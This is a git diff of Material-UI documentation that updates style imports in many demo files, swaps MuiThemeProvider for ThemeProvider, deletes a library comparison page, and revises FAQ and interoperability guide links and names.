diff --git a/docs/src/pages/demos/steppers/CustomizedStepper.hooks.js b/docs/src/pages/demos/steppers/CustomizedStepper.hooks.js
index dd181cfff2b163..a76d294c6f255d 100644
--- a/docs/src/pages/demos/steppers/CustomizedStepper.hooks.js
+++ b/docs/src/pages/demos/steppers/CustomizedStepper.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import Stepper from '@material-ui/core/Stepper';
 import Step from '@material-ui/core/Step';
 import StepLabel from '@material-ui/core/StepLabel';
diff --git a/docs/src/pages/demos/steppers/HorizontalLinearAlternativeLabelStepper.hooks.js b/docs/src/pages/demos/steppers/HorizontalLinearAlternativeLabelStepper.hooks.js
index a74cb53af42da5..cd561f34a57409 100644
--- a/docs/src/pages/demos/steppers/HorizontalLinearAlternativeLabelStepper.hooks.js
+++ b/docs/src/pages/demos/steppers/HorizontalLinearAlternativeLabelStepper.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import Stepper from '@material-ui/core/Stepper';
 import Step from '@material-ui/core/Step';
 import StepLabel from '@material-ui/core/StepLabel';
diff --git a/docs/src/pages/demos/steppers/HorizontalLinearStepper.hooks.js b/docs/src/pages/demos/steppers/HorizontalLinearStepper.hooks.js
index 51d4359c3dac5f..05f8657e181f6e 100644
--- a/docs/src/pages/demos/steppers/HorizontalLinearStepper.hooks.js
+++ b/docs/src/pages/demos/steppers/HorizontalLinearStepper.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import Stepper from '@material-ui/core/Stepper';
 import Step from '@material-ui/core/Step';
 import StepLabel from '@material-ui/core/StepLabel';
diff --git a/docs/src/pages/demos/steppers/HorizontalNonLinearAlternativeLabelStepper.hooks.js b/docs/src/pages/demos/steppers/HorizontalNonLinearAlternativeLabelStepper.hooks.js
index 59fc5e2c2695b2..ec1a667015029a 100644
--- a/docs/src/pages/demos/steppers/HorizontalNonLinearAlternativeLabelStepper.hooks.js
+++ b/docs/src/pages/demos/steppers/HorizontalNonLinearAlternativeLabelStepper.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import Stepper from '@material-ui/core/Stepper';
 import Step from '@material-ui/core/Step';
 import StepButton from '@material-ui/core/StepButton';
diff --git a/docs/src/pages/demos/steppers/HorizontalNonLinearStepper.hooks.js b/docs/src/pages/demos/steppers/HorizontalNonLinearStepper.hooks.js
index 9cdacf9a65f4f0..4d192c1bb887a8 100644
--- a/docs/src/pages/demos/steppers/HorizontalNonLinearStepper.hooks.js
+++ b/docs/src/pages/demos/steppers/HorizontalNonLinearStepper.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import Stepper from '@material-ui/core/Stepper';
 import Step from '@material-ui/core/Step';
 import StepButton from '@material-ui/core/StepButton';
diff --git a/docs/src/pages/demos/steppers/HorizontalNonLinearStepperWithError.hooks.js b/docs/src/pages/demos/steppers/HorizontalNonLinearStepperWithError.hooks.js
index 982bf4310fe66a..8f7045a604da93 100644
--- a/docs/src/pages/demos/steppers/HorizontalNonLinearStepperWithError.hooks.js
+++ b/docs/src/pages/demos/steppers/HorizontalNonLinearStepperWithError.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import Stepper from '@material-ui/core/Stepper';
 import Step from '@material-ui/core/Step';
 import StepLabel from '@material-ui/core/StepLabel';
diff --git a/docs/src/pages/demos/steppers/VerticalLinearStepper.hooks.js b/docs/src/pages/demos/steppers/VerticalLinearStepper.hooks.js
index d2e5fcd09a5a89..af41511173221c 100644
--- a/docs/src/pages/demos/steppers/VerticalLinearStepper.hooks.js
+++ b/docs/src/pages/demos/steppers/VerticalLinearStepper.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import Stepper from '@material-ui/core/Stepper';
 import Step from '@material-ui/core/Step';
 import StepLabel from '@material-ui/core/StepLabel';
diff --git a/docs/src/pages/demos/tables/EnhancedTable.hooks.js b/docs/src/pages/demos/tables/EnhancedTable.hooks.js
index 04d946311748c6..161d0a8a60b659 100644
--- a/docs/src/pages/demos/tables/EnhancedTable.hooks.js
+++ b/docs/src/pages/demos/tables/EnhancedTable.hooks.js
@@ -1,7 +1,7 @@
 import React from 'react';
 import clsx from 'clsx';
 import PropTypes from 'prop-types';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import Table from '@material-ui/core/Table';
 import TableBody from '@material-ui/core/TableBody';
 import TableCell from '@material-ui/core/TableCell';
diff --git a/docs/src/pages/demos/tabs/CenteredTabs.hooks.js b/docs/src/pages/demos/tabs/CenteredTabs.hooks.js
index 97e9e2b3c8004f..48156e921a9241 100644
--- a/docs/src/pages/demos/tabs/CenteredTabs.hooks.js
+++ b/docs/src/pages/demos/tabs/CenteredTabs.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import Paper from '@material-ui/core/Paper';
 import Tabs from '@material-ui/core/Tabs';
 import Tab from '@material-ui/core/Tab';
diff --git a/docs/src/pages/demos/tabs/IconLabelTabs.hooks.js b/docs/src/pages/demos/tabs/IconLabelTabs.hooks.js
index c9e3c8ebf8e524..abacaa15c76c34 100644
--- a/docs/src/pages/demos/tabs/IconLabelTabs.hooks.js
+++ b/docs/src/pages/demos/tabs/IconLabelTabs.hooks.js
@@ -1,6 +1,6 @@
 import React from 'react';
 import Paper from '@material-ui/core/Paper';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import Tabs from '@material-ui/core/Tabs';
 import Tab from '@material-ui/core/Tab';
 import PhoneIcon from '@material-ui/icons/Phone';
diff --git a/docs/src/pages/demos/tabs/IconTabs.hooks.js b/docs/src/pages/demos/tabs/IconTabs.hooks.js
index 1a433a0d27966b..0257e80c22fa92 100644
--- a/docs/src/pages/demos/tabs/IconTabs.hooks.js
+++ b/docs/src/pages/demos/tabs/IconTabs.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import Paper from '@material-ui/core/Paper';
 import Tabs from '@material-ui/core/Tabs';
 import Tab from '@material-ui/core/Tab';
diff --git a/docs/src/pages/demos/tabs/NavTabs.hooks.js b/docs/src/pages/demos/tabs/NavTabs.hooks.js
index d118e64d7c108d..edc6d4114e0bd5 100644
--- a/docs/src/pages/demos/tabs/NavTabs.hooks.js
+++ b/docs/src/pages/demos/tabs/NavTabs.hooks.js
@@ -1,6 +1,6 @@
 import React from 'react';
 import PropTypes from 'prop-types';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import AppBar from '@material-ui/core/AppBar';
 import Tabs from '@material-ui/core/Tabs';
 import NoSsr from '@material-ui/core/NoSsr';
diff --git a/docs/src/pages/demos/tabs/ScrollableTabsButtonAuto.hooks.js b/docs/src/pages/demos/tabs/ScrollableTabsButtonAuto.hooks.js
index 50634a929ff0b0..4f4b4184651b0a 100644
--- a/docs/src/pages/demos/tabs/ScrollableTabsButtonAuto.hooks.js
+++ b/docs/src/pages/demos/tabs/ScrollableTabsButtonAuto.hooks.js
@@ -1,6 +1,6 @@
 import React from 'react';
 import PropTypes from 'prop-types';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import AppBar from '@material-ui/core/AppBar';
 import Tabs from '@material-ui/core/Tabs';
 import Tab from '@material-ui/core/Tab';
diff --git a/docs/src/pages/demos/tabs/ScrollableTabsButtonForce.hooks.js b/docs/src/pages/demos/tabs/ScrollableTabsButtonForce.hooks.js
index 9e9ea335bdf034..83e9c8e7cbdd70 100644
--- a/docs/src/pages/demos/tabs/ScrollableTabsButtonForce.hooks.js
+++ b/docs/src/pages/demos/tabs/ScrollableTabsButtonForce.hooks.js
@@ -1,6 +1,6 @@
 import React from 'react';
 import PropTypes from 'prop-types';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import AppBar from '@material-ui/core/AppBar';
 import Tabs from '@material-ui/core/Tabs';
 import Tab from '@material-ui/core/Tab';
diff --git a/docs/src/pages/demos/tabs/ScrollableTabsButtonPrevent.hooks.js b/docs/src/pages/demos/tabs/ScrollableTabsButtonPrevent.hooks.js
index be06a7eff1b0fe..16eb7b1ddf46a9 100644
--- a/docs/src/pages/demos/tabs/ScrollableTabsButtonPrevent.hooks.js
+++ b/docs/src/pages/demos/tabs/ScrollableTabsButtonPrevent.hooks.js
@@ -1,6 +1,6 @@
 import React from 'react';
 import PropTypes from 'prop-types';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import AppBar from '@material-ui/core/AppBar';
 import Tabs from '@material-ui/core/Tabs';
 import Tab from '@material-ui/core/Tab';
diff --git a/docs/src/pages/demos/tabs/SimpleTabs.hooks.js b/docs/src/pages/demos/tabs/SimpleTabs.hooks.js
index b27fbb86c9216d..9b98d8635c8eb6 100644
--- a/docs/src/pages/demos/tabs/SimpleTabs.hooks.js
+++ b/docs/src/pages/demos/tabs/SimpleTabs.hooks.js
@@ -1,6 +1,6 @@
 import React from 'react';
 import PropTypes from 'prop-types';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import AppBar from '@material-ui/core/AppBar';
 import Tabs from '@material-ui/core/Tabs';
 import Tab from '@material-ui/core/Tab';
diff --git a/docs/src/pages/demos/tabs/TabsWrappedLabel.hooks.js b/docs/src/pages/demos/tabs/TabsWrappedLabel.hooks.js
index d1b5731f3c09fa..bbe32c00bfd426 100644
--- a/docs/src/pages/demos/tabs/TabsWrappedLabel.hooks.js
+++ b/docs/src/pages/demos/tabs/TabsWrappedLabel.hooks.js
@@ -1,6 +1,6 @@
 import React from 'react';
 import PropTypes from 'prop-types';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import AppBar from '@material-ui/core/AppBar';
 import Tabs from '@material-ui/core/Tabs';
 import Tab from '@material-ui/core/Tab';
diff --git a/docs/src/pages/demos/text-fields/CustomizedInputs.js b/docs/src/pages/demos/text-fields/CustomizedInputs.js
index 0d238ac48642ac..8cadd8e3d42d5a 100644
--- a/docs/src/pages/demos/text-fields/CustomizedInputs.js
+++ b/docs/src/pages/demos/text-fields/CustomizedInputs.js
@@ -1,6 +1,7 @@
 import React from 'react';
 import PropTypes from 'prop-types';
-import { withStyles, MuiThemeProvider, createMuiTheme } from '@material-ui/core/styles';
+import { withStyles, createMuiTheme } from '@material-ui/core/styles';
+import { ThemeProvider } from '@material-ui/styles';
 import Input from '@material-ui/core/Input';
 import InputBase from '@material-ui/core/InputBase';
 import { fade } from '@material-ui/core/styles/colorManipulator';
@@ -136,20 +137,20 @@ function CustomizedInputs(props) {
         id="custom-css-outlined-input"
       />
 
-      <MuiThemeProvider theme={theme}>
+      <ThemeProvider theme={theme}>
         <TextField
           className={classes.margin}
-          label="MuiThemeProvider"
+          label="ThemeProvider"
           id="mui-theme-provider-standard-input"
         />
 
         <TextField
           className={classes.margin}
-          label="MuiThemeProvider"
+          label="ThemeProvider"
           variant="outlined"
           id="mui-theme-provider-outlined-input"
         />
-      </MuiThemeProvider>
+      </ThemeProvider>
       <FormControl className={classes.margin}>
         <InputLabel shrink htmlFor="bootstrap-input" className={classes.bootstrapFormLabel}>
           Bootstrap
diff --git a/docs/src/pages/demos/text-fields/CustomizedInputs.tsx b/docs/src/pages/demos/text-fields/CustomizedInputs.tsx
index f759d5fb581798..26bf7ffb971296 100644
--- a/docs/src/pages/demos/text-fields/CustomizedInputs.tsx
+++ b/docs/src/pages/demos/text-fields/CustomizedInputs.tsx
@@ -5,9 +5,9 @@ import {
   Theme,
   withStyles,
   WithStyles,
-  MuiThemeProvider,
   createMuiTheme,
 } from '@material-ui/core/styles';
+import { ThemeProvider } from '@material-ui/styles';
 import Input from '@material-ui/core/Input';
 import InputBase from '@material-ui/core/InputBase';
 import { fade } from '@material-ui/core/styles/colorManipulator';
@@ -145,19 +145,19 @@ function CustomizedInputs(props: Props) {
         variant="outlined"
         id="custom-css-outlined-input"
       />
-      <MuiThemeProvider theme={theme}>
+      <ThemeProvider theme={theme}>
         <TextField
           className={classes.margin}
-          label="MuiThemeProvider"
+          label="ThemeProvider"
           id="mui-theme-provider-standard-input"
         />
         <TextField
           className={classes.margin}
-          label="MuiThemeProvider"
+          label="ThemeProvider"
           variant="outlined"
           id="mui-theme-provider-outlined-input"
         />
-      </MuiThemeProvider>
+      </ThemeProvider>
       <FormControl className={classes.margin}>
         <InputLabel shrink htmlFor="bootstrap-input" className={classes.bootstrapFormLabel}>
           Bootstrap
diff --git a/docs/src/pages/demos/text-fields/FilledInputAdornments.hooks.js b/docs/src/pages/demos/text-fields/FilledInputAdornments.hooks.js
index cb17c94a115df0..9d9687e3a951df 100644
--- a/docs/src/pages/demos/text-fields/FilledInputAdornments.hooks.js
+++ b/docs/src/pages/demos/text-fields/FilledInputAdornments.hooks.js
@@ -1,6 +1,6 @@
 import React from 'react';
 import clsx from 'clsx';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import IconButton from '@material-ui/core/IconButton';
 import InputAdornment from '@material-ui/core/InputAdornment';
 import TextField from '@material-ui/core/TextField';
diff --git a/docs/src/pages/demos/text-fields/FilledTextFields.hooks.js b/docs/src/pages/demos/text-fields/FilledTextFields.hooks.js
index 877d6474426e9f..8236d354ae662c 100644
--- a/docs/src/pages/demos/text-fields/FilledTextFields.hooks.js
+++ b/docs/src/pages/demos/text-fields/FilledTextFields.hooks.js
@@ -1,6 +1,6 @@
 import React from 'react';
 import clsx from 'clsx';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import MenuItem from '@material-ui/core/MenuItem';
 import TextField from '@material-ui/core/TextField';
 
diff --git a/docs/src/pages/demos/text-fields/FormattedInputs.hooks.js b/docs/src/pages/demos/text-fields/FormattedInputs.hooks.js
index a0c5d4b95bbfe1..84757e4e77b16d 100644
--- a/docs/src/pages/demos/text-fields/FormattedInputs.hooks.js
+++ b/docs/src/pages/demos/text-fields/FormattedInputs.hooks.js
@@ -2,7 +2,7 @@ import React from 'react';
 import MaskedInput from 'react-text-mask';
 import NumberFormat from 'react-number-format';
 import PropTypes from 'prop-types';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import Input from '@material-ui/core/Input';
 import InputLabel from '@material-ui/core/InputLabel';
 import TextField from '@material-ui/core/TextField';
diff --git a/docs/src/pages/demos/text-fields/InputAdornments.hooks.js b/docs/src/pages/demos/text-fields/InputAdornments.hooks.js
index 7eabb044d6ea4a..de4d091180fb47 100644
--- a/docs/src/pages/demos/text-fields/InputAdornments.hooks.js
+++ b/docs/src/pages/demos/text-fields/InputAdornments.hooks.js
@@ -1,6 +1,6 @@
 import React from 'react';
 import clsx from 'clsx';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import IconButton from '@material-ui/core/IconButton';
 import Input from '@material-ui/core/Input';
 import InputLabel from '@material-ui/core/InputLabel';
diff --git a/docs/src/pages/demos/text-fields/OutlinedInputAdornments.hooks.js b/docs/src/pages/demos/text-fields/OutlinedInputAdornments.hooks.js
index bc329b857373e0..612213746e0fa6 100644
--- a/docs/src/pages/demos/text-fields/OutlinedInputAdornments.hooks.js
+++ b/docs/src/pages/demos/text-fields/OutlinedInputAdornments.hooks.js
@@ -1,6 +1,6 @@
 import React from 'react';
 import clsx from 'clsx';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import IconButton from '@material-ui/core/IconButton';
 import InputAdornment from '@material-ui/core/InputAdornment';
 import TextField from '@material-ui/core/TextField';
diff --git a/docs/src/pages/demos/text-fields/OutlinedTextFields.hooks.js b/docs/src/pages/demos/text-fields/OutlinedTextFields.hooks.js
index 22312260edcbd5..ca1d2bae3efce6 100644
--- a/docs/src/pages/demos/text-fields/OutlinedTextFields.hooks.js
+++ b/docs/src/pages/demos/text-fields/OutlinedTextFields.hooks.js
@@ -1,6 +1,6 @@
 import React from 'react';
 import clsx from 'clsx';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import MenuItem from '@material-ui/core/MenuItem';
 import TextField from '@material-ui/core/TextField';
 
diff --git a/docs/src/pages/demos/text-fields/TextFields.hooks.js b/docs/src/pages/demos/text-fields/TextFields.hooks.js
index e5d4d4975d81c7..98f22c35fd6ebd 100644
--- a/docs/src/pages/demos/text-fields/TextFields.hooks.js
+++ b/docs/src/pages/demos/text-fields/TextFields.hooks.js
@@ -1,6 +1,6 @@
 import React from 'react';
 import clsx from 'clsx';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import MenuItem from '@material-ui/core/MenuItem';
 import TextField from '@material-ui/core/TextField';
 
diff --git a/docs/src/pages/demos/tooltips/CustomizedTooltips.hooks.js b/docs/src/pages/demos/tooltips/CustomizedTooltips.hooks.js
index e23cabbec87526..60b3700208b194 100644
--- a/docs/src/pages/demos/tooltips/CustomizedTooltips.hooks.js
+++ b/docs/src/pages/demos/tooltips/CustomizedTooltips.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import Button from '@material-ui/core/Button';
 import Tooltip from '@material-ui/core/Tooltip';
 import Typography from '@material-ui/core/Typography';
diff --git a/docs/src/pages/discover-more/showcase/appList.js b/docs/src/pages/discover-more/showcase/appList.js
index 1dd4ede6d1d5b3..f6b7e97022f0e5 100644
--- a/docs/src/pages/discover-more/showcase/appList.js
+++ b/docs/src/pages/discover-more/showcase/appList.js
@@ -643,7 +643,7 @@ const appList = [
     title: 'Material Blog',
     description:
       'An open source blog with a UI built entirely using material-ui v1. ' +
-      'Check out the theming page, which leverages `MuiThemeProvider` ' +
+      'Check out the theming page, which leverages `ThemeProvider` ' +
       'to allow for live theme changes.',
     link: 'https://jdupont.github.io/',
     source: 'https://github.com/jdupont/jdupont.github.io',
diff --git a/docs/src/pages/getting-started/comparison/comparison.md b/docs/src/pages/getting-started/comparison/comparison.md
deleted file mode 100644
index 773c7968992107..00000000000000
--- a/docs/src/pages/getting-started/comparison/comparison.md
+++ /dev/null
@@ -1,149 +0,0 @@
-# Comparison with other libraries
-
-<p class="description">You’re here because you want to know if Material-UI can solve your specific problems better. That’s what we hope to answer for you here.</p>
-
-This is definitely one of the most challenging pages in the guide to write, but we do feel it’s important.
-Odds are, you’ve had problems you tried to solve and you’ve used another library to solve them.
-
-We’d like your help keeping this document up-to-date because the JavaScript world moves fast!
-If you notice an inaccuracy or something that doesn’t seem quite right, please let us know by
-[opening an issue](https://github.com/mui-org/material-ui/issues/new?title=[docs]+Inaccuracy+in+comparison+guide).
-
-We cover the following libraries:
-
-- [Material-UI](#material-ui)
-- [Material Design Lite (MDL)](#material-design-lite-mdl)
-- [Material Components Web (MDC-web)](#material-components-web-mdc-web)
-- [Materialize](#materialize)
-- [React Toolbox](#react-toolbox)
-
-## Material-UI
-
-![stars](https://img.shields.io/github/stars/mui-org/material-ui.svg?style=social&label=Stars)
-![npm downloads](https://img.shields.io/npm/dm/@material-ui/core.svg)
-
-We'll try very hard to avoid bias, although as the core team, we obviously like Material-UI a lot ❤️.
-There are some problems we think it solves better than anything else out there; if we didn’t believe that, we wouldn’t be working on it 😄.
-
-We do want to be fair and accurate though, so where other libraries offer significant advantages we try to list these as well.
-
-## Material Design Lite (MDL)
-
-![stars](https://img.shields.io/github/stars/google/material-design-lite.svg?style=social&label=Stars)
-![npm downloads](https://img.shields.io/npm/dm/material-design-lite.svg)
-
-Material Design Lite, while a very well-thought-out Material Design implementation,
-was primarily maintained by Developer Relations at Google.
-Today, **the project is no longer maintained**. So what happened?
-
-The Material Components Web team started out building MDC-web as "MDL v2", but, after collaborating on it for a few months,
-both teams felt it best to bring the project under the Material Design team's purview.
-This shift meant a re-orientation of goals away from simply "adding a Material Design look and feel" to websites,
-and towards the goal of a canonical Material Design implementation for the entire web platform.
-
-## Material Components Web (MDC-web)
-
-![stars](https://img.shields.io/github/stars/material-components/material-components-web.svg?style=social&label=Stars)
-![npm downloads](https://img.shields.io/npm/dm/material-components-web.svg)
-
-We are very happy to see this project supported by Google and its design team.
-It sends a clear signal that the [Material Design specification](https://material.io/design/) is
-here to stay, as they continue to invest in it.
-
-### Frameworks and libraries
-
-Material-UI focuses exclusively on the React library, although, given that Preact supports the very same API,
-we hope to soon support it too. Supporting one framework allows us to do less but do it better.
-
-This comes in different flavors:
-
-- Having fewer constraints, we can make trade-offs specific to our target framework.
-We have fewer edge-cases to take into account.
-- We can spend more time on nailing the React use case.
-
-MDC-web was designed from the ground up to be fully compatible with 3rd party JS frameworks and libraries.
-They list 3rd-party framework integration projects in the github [README](https://github.com/material-components/material-components-web/#material-components-for-the-web)
-
-### Styling solution
-
-[Material-UI carries a heavy legacy with styles](https://github.com/oliviertassinari/a-journey-toward-better-style).
-Our very first release was using LESS, but seeing the limitation of this solution,
-we quickly started looking into alternatives. Our first migration was towards using an inline-style solution.
-This was promising:
-
-- It allowed us to remove the dependency on the LESS toolchain for our users.
-We removed one important friction in the installation process. (**simpler**)
-- We were able to change the theme at runtime, nest different themes, and have dynamic styles. (**more powerful**)
-- We reduced the loading time by breaking the big monolithic CSS file in order to enable code splitting. (**faster**)
-- The style override story became more intuitive, as we were free of CSS specificity issues. (**simpler**)
-
-Eventually, we reached the limitations of inline-styles and moved toward a CSS-in-JS
-solution. This transition was made without losing the enhancements the first migration introduced 💅.
-**We strongly think that CSS-in-JS is the future of the web platform**.
-You can [learn more about our new styling solution](/customization/css-in-js/) in the documentation.
-
-MDC-web relies on SCSS as Bootstrap v4. The SCSS architecture is pretty close to LESS -
-a technology we replaced for its limitations.
-
-### The vision
-
-Our vision is to provide an elegant implementation of the Material Design guidelines **and more**.
-
-> The Material Design guidelines are an incredible starting point, but they do not provide guidance on all aspects or needs of an application. In addition to the guideline-specific implementation, we want Material-UI to become whatever is generally useful for application development, all in the spirit of the Material Design guidelines.
-
-> *[An extract taken from the [vision section](/discover-more/vision/) of the documentation.]*
-
-We want to see businesses succeeding in taking advantage of Material-UI to ship an awesome UI to their users
-while having it match their brand, so we have invested a lot in the customization capabilities of Material-UI.
-
-The only goal of MDC-Web is to be a Material Design implementation for the web platform. **Nothing more, nothing less**. They will not consider making changes to the components - especially UX changes - that would facilitate additional flexibility at the cost of breaking with the core Material Design system, as that is a non-goal of the project. *[source](https://github.com/mui-org/material-ui/issues/6799#issuecomment-299925174)*
-
-### Tests
-
-Both projects invest a lot in tests. At the time of writing, both projects have over 99% test coverage:
-
-- Material-UI has 1200+ unit tests running on Chrome 49, Firefox 45, Safari 10 and Edge 14.
-- MDC-web has 1200+ unit tests running on all the major browsers.
-
-Still, there is one thing that sets Material-UI apart and it's key:
-We have [hundreds of visual regression tests](https://www.argos-ci.com/mui-org/material-ui) when MDC-web doesn't have any.
-With visual regression tests, you don't have to make any trade-off:
-
-- You can spend less time making sure every contribution doesn't introduce unexpected regressions.
-The **less** time you spend on a single contribution, the **more** contributions you can accept.
-- You can merge new contributions without digging much. Effectively, you are not waiting for users to report regressions. It's **efficient** and **improves the library quality**.
-
-## Materialize
-
-![stars](https://img.shields.io/github/stars/Dogfalo/materialize.svg?style=social&label=Stars)
-![npm downloads](https://img.shields.io/npm/dm/materialize-css.svg)
-
-### Browser support
-
-Materialize supports a wider range of browsers than Material-UI does, for instance,
-they support IE 10 while [we only support IE 11](/getting-started/supported-platforms/).
-Only supporting IE 11 allows us to take full advantage of the flexbox layout.
-IE 10 has many issues with flexbox.
-
-### Styling solution
-
-Materialize uses SCSS, a styling architecture Material-UI moved away from 2 years ago.
-We explain why in the [MDC-web section](#styling-solution) above.
-
-## React Toolbox
-
-![stars](https://img.shields.io/github/stars/react-toolbox/react-toolbox.svg?style=social&label=Stars)
-![npm downloads](https://img.shields.io/npm/dm/react-toolbox.svg)
-
-### Styling solution
-
-While both React Toolbox and Material-UI are betting on CSS-in-JS, we have taken a different trade-off.
-Material-UI has chosen **JSS** while React Toolbox started rewriting their library with **styled-components**. We picked JSS over styled-components for the following reason:
-
-- JSS exposes a low-level API:
-  - We are free to model it to our unique needs, which has allowed us to build one of the most advanced override and theming mechanism.
-  - It's not coupled to React like `styled-components` is. It has the potential to reach any 3rd party JS frameworks and libraries. The parallels can be made with SCSS. SCSS is compatible with any JavaScript frameworks and libraries, helping it to get traction in the community.
-- JSS is [two times faster](https://github.com/A-gambit/CSS-IN-JS-Benchmarks/blob/master/RESULT.md) to mount components than styled-components is, with all the optimization turned on.
-
-This is not to say that Material-UI is opinionated about how users write their styles.
-You can use styled-components if you would like to do so.
diff --git a/docs/src/pages/getting-started/faq/faq.md b/docs/src/pages/getting-started/faq/faq.md
index 779f1c45703bf6..79fb4a7b39329a 100644
--- a/docs/src/pages/getting-started/faq/faq.md
+++ b/docs/src/pages/getting-started/faq/faq.md
@@ -8,22 +8,20 @@ For how-to questions and other non-issues, please use [StackOverflow](https://st
 ## Why aren't my components rendering correctly in production builds?
 
 This is likely an n°1 issue that happens due to class name conflicts once your code is in a production bundle.
-For Material-UI to work, the `clsx` values of all components on a page must be generated by a single instance of the [class name generator](/customization/css-in-js/#creategenerateclassname-options-class-name-generator).
+For Material-UI to work, the className values of all components on a page must be generated by a single instance of the [class name generator](/css-in-js/advanced/#class-names).
 
 To correct this issue, all components on the page need to be initialized such that there is only ever **one class name generator** between them.
 
 You could end up accidentally using two class name generators in a variety of scenarios:
 
 - You accidentally **bundle** two versions of Material-UI. You might have a dependency not correctly setting Material-UI as a peer dependency.
-- You are using `JssProvider` for a **subset** of your React Tree.
+- You are using `StylesProvider` for a **subset** of your React Tree.
 - You are using a bundler and it is splitting code in a way results in multiple class name generator instances to be created.
 > If you are using webpack with the [SplitChunksPlugin](https://webpack.js.org/plugins/split-chunks-plugin/), try configuring the [`runtimeChunk` setting under `optimizations`](https://webpack.js.org/configuration/optimization/#optimization-runtimechunk).
 
-Overall, it's simple to recover from this problem by wrapping each Material-UI application with [`JssProvider`](/customization/css-in-js/#jssprovider) components at the top of their component trees **and using a single class name generator shared between them**.
+Overall, it's simple to recover from this problem by wrapping each Material-UI application with [`StylesProvider`](/css-in-js/api/#stylesprovider) components at the top of their component trees **and using a single class name generator shared between them**.
 
-[A resolution example](/customization/css-in-js/#jssprovider). The last part of any solution will vary based on what bundler you are using, but the overall goal is to ensure the common module that contains the first snippet above only gets loaded and run once.
-
-⚠️ You are in the hurry? Rest assured, we provide an option to make the class names **deterministic** as a quick escape hatch: [`dangerouslyUseGlobalCSS`](/customization/css-in-js/#global-css).
+⚠️ You are in the hurry? Rest assured, we provide an option to make the class names **deterministic** as a quick escape hatch: [`dangerouslyUseGlobalCSS`](/css-in-js/advanced/#deterministic-class-names).
 
 ## Why do the fixed positioned elements move when a modal is opened?
 
diff --git a/docs/src/pages/guides/interoperability/interoperability.md b/docs/src/pages/guides/interoperability/interoperability.md
index 06ddf8b93e439d..c6b2c6a9f9a0cb 100644
--- a/docs/src/pages/guides/interoperability/interoperability.md
+++ b/docs/src/pages/guides/interoperability/interoperability.md
@@ -7,7 +7,7 @@ but you should find that the principals applied here can be adapted to other lib
 
 We have provided examples for the following styling solutions:
 
-- [Raw CSS](#raw-css)
+- [Plain CSS](#plain-css)
 - [Styled Components](#styled-components)
 - [CSS Modules](#css-modules)
 - [Emotion](#emotion)
@@ -16,11 +16,11 @@ We have provided examples for the following styling solutions:
 - [CSS to MUI webpack Loader](#css-to-mui-webpack-loader)
 - [Glamor](#glamor)
 
-## Raw CSS
+## Plain CSS
 
 Nothing fancy, just plain old CSS. Why reinvent the wheel when it has been working for decades?
 
-**RawCssButton.css**
+**PlainCssButton.css**
 ```css
 .button {
   background: linear-gradient(45deg, #fe6b8b 30%, #ff8e53 90%);
@@ -33,30 +33,30 @@ Nothing fancy, just plain old CSS. Why reinvent the wheel when it has been worki
 }
 ```
 
-**RawCssButton.js**
+**PlainCssButton.js**
 ```jsx
 import React from 'react';
 import Button from '@material-ui/core/Button';
 
-function RawCssButton() {
+function PlainCssButton() {
   return (
     <div>
       <Button>
         Material-UI
       </Button>
       <Button className="button">
-        Raw CSS
+        Plain CSS
       </Button>
     </div>
   );
 }
 
-export default RawCssButton;
+export default PlainCssButton;
 ```
 
 [![Edit Button](https://codesandbox.io/static/img/play-codesandbox.svg)](https://codesandbox.io/s/vmv2mz9785)
 
-**Note:** JSS injects its styles at the bottom of the `<head>`. If you don't want to mark style attributes with **!important**, you need to change [the CSS injection order](/customization/css-in-js/#css-injection-order), as in the demo.
+**Note:** JSS injects its styles at the bottom of the `<head>`. If you don't want to mark style attributes with **!important**, you need to change [the CSS injection order](/css-in-js/advanced/#css-injection-order), as in the demo.
 
 ## Styled Components
 
@@ -100,12 +100,12 @@ export default StyledComponents;
 
